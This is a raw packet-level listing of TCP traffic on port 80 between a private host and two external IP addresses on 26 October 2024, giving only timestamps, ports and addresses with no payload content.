Oct 26, 2024 05:54:57.946342945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.946358919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.946398020 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.977801085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.977821112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.977845907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.977863073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.977875948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.977893114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.977910042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.977926970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.977943897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.977957964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.978240967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.978276014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.978276014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.978283882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.978302002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.978316069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.978332043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.978368044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.978427887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.978446007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.978446007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.978465080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.978493929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:57.978651047 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:57.978651047 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.020579100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.020601034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.020617962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.020634890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.020637989 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.020806074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.066719055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.066751003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.066804886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.066833019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.066869974 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.066869974 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.107465029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.107512951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.107521057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.107549906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.107615948 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.107620001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.107654095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.107688904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.107693911 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.113043070 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:58.113115072 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:58.138859034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.138875008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.138890028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.138931036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.138937950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.138952017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.139007092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.139071941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.139086008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.139100075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.139100075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.139115095 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.139156103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.139170885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.139198065 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.139451981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.139498949 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.139544964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.139558077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.139591932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.139617920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.139683008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.139698982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.139714003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.139723063 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.139755011 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.181765079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.181818962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.181849003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.181858063 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.181898117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.181938887 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.202357054 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:58.202385902 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:58.207808018 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:58.207838058 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:58.207871914 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:58.228557110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.228585958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.228621960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.228636980 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.228655100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.228725910 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.268623114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.268655062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.268704891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.268704891 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.268740892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.268769026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.268779039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.268853903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.268882036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.268896103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.304045916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.304070950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.304096937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.304112911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.304116011 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.304130077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.304141998 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.304145098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.304162025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.304183006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.304189920 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.304214001 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.304301023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.304326057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.304341078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.304342031 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.304358006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.304377079 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.304769993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.304811001 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.304910898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.343199015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.343216896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.343233109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.343257904 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.343287945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.390069962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.390101910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.390136957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.390163898 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.390168905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.390201092 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.429920912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.429951906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.430003881 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.430021048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.430054903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.430088043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.430099964 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.430151939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.430180073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.430197001 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.462661028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.462702036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.462800026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.464899063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.464927912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.464943886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.464981079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.465008974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.465029001 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.465061903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.465095997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.465104103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.465128899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.465168953 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.465224981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.465317965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.465348959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.465367079 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.465399981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.465435028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.465442896 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.465486050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.465523958 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.465523958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.465557098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.465605021 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.465740919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.465852022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.465956926 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.504491091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.504545927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.504596949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.504606009 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.504625082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.504666090 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.551413059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.551440954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.551455975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.551482916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.591413975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.591449022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.591499090 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.591504097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.591541052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.591574907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.591612101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.591762066 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.591762066 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.623943090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.624025106 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.624094963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.624125957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.624176979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.624309063 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.626333952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.626362085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.626396894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.626435995 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.626435995 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.626462936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.626496077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.626529932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.626564980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.626597881 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.626607895 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.626607895 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.626827002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.626856089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.626889944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.626929045 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.626929045 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.626940012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.626972914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.627022028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.627075911 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.677377939 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.687218904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.687254906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.687289000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.687443972 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.712790012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.712846994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.712877035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.712909937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.712974072 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.712992907 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.753369093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.753418922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.753434896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.753487110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.753501892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.753563881 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.753563881 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.754556894 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.785531998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.785568953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.785602093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.785747051 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.787733078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.787786007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.787820101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.787832022 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.787873983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.787883043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.787909031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.787944078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.787976980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.787983894 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.788009882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.788042068 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.788197041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.788250923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.788284063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.788290024 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.788317919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.788408995 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.788487911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.788583040 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.788590908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.827143908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.827172995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.827209949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.827241898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.827275038 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.827275038 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.874259949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.874294996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.874327898 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.874327898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.874414921 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.914395094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.914424896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.914522886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.914542913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.914576054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.914611101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.914643049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.914727926 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.914727926 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.946674109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.946717024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.946731091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.946939945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.948781967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.948795080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.948811054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.948826075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.948851109 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.948877096 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.948877096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.948910952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.948919058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.949033022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.949045897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.949085951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.949090004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.949147940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.949160099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.949167967 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.949222088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.949311018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.949323893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.949368954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.949392080 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.949420929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.949434042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.949472904 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.949595928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.949620008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.949650049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.982733011 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:58.982820988 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:58.988328934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.988358021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.988395929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.988406897 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.988434076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:58.988517046 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:58.999128103 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:59.004539013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:59.035413980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.035429955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.035444021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.035480022 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.035480022 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.075829983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.075885057 CEST	80	49742	185.215.113.16	192.168.2.4
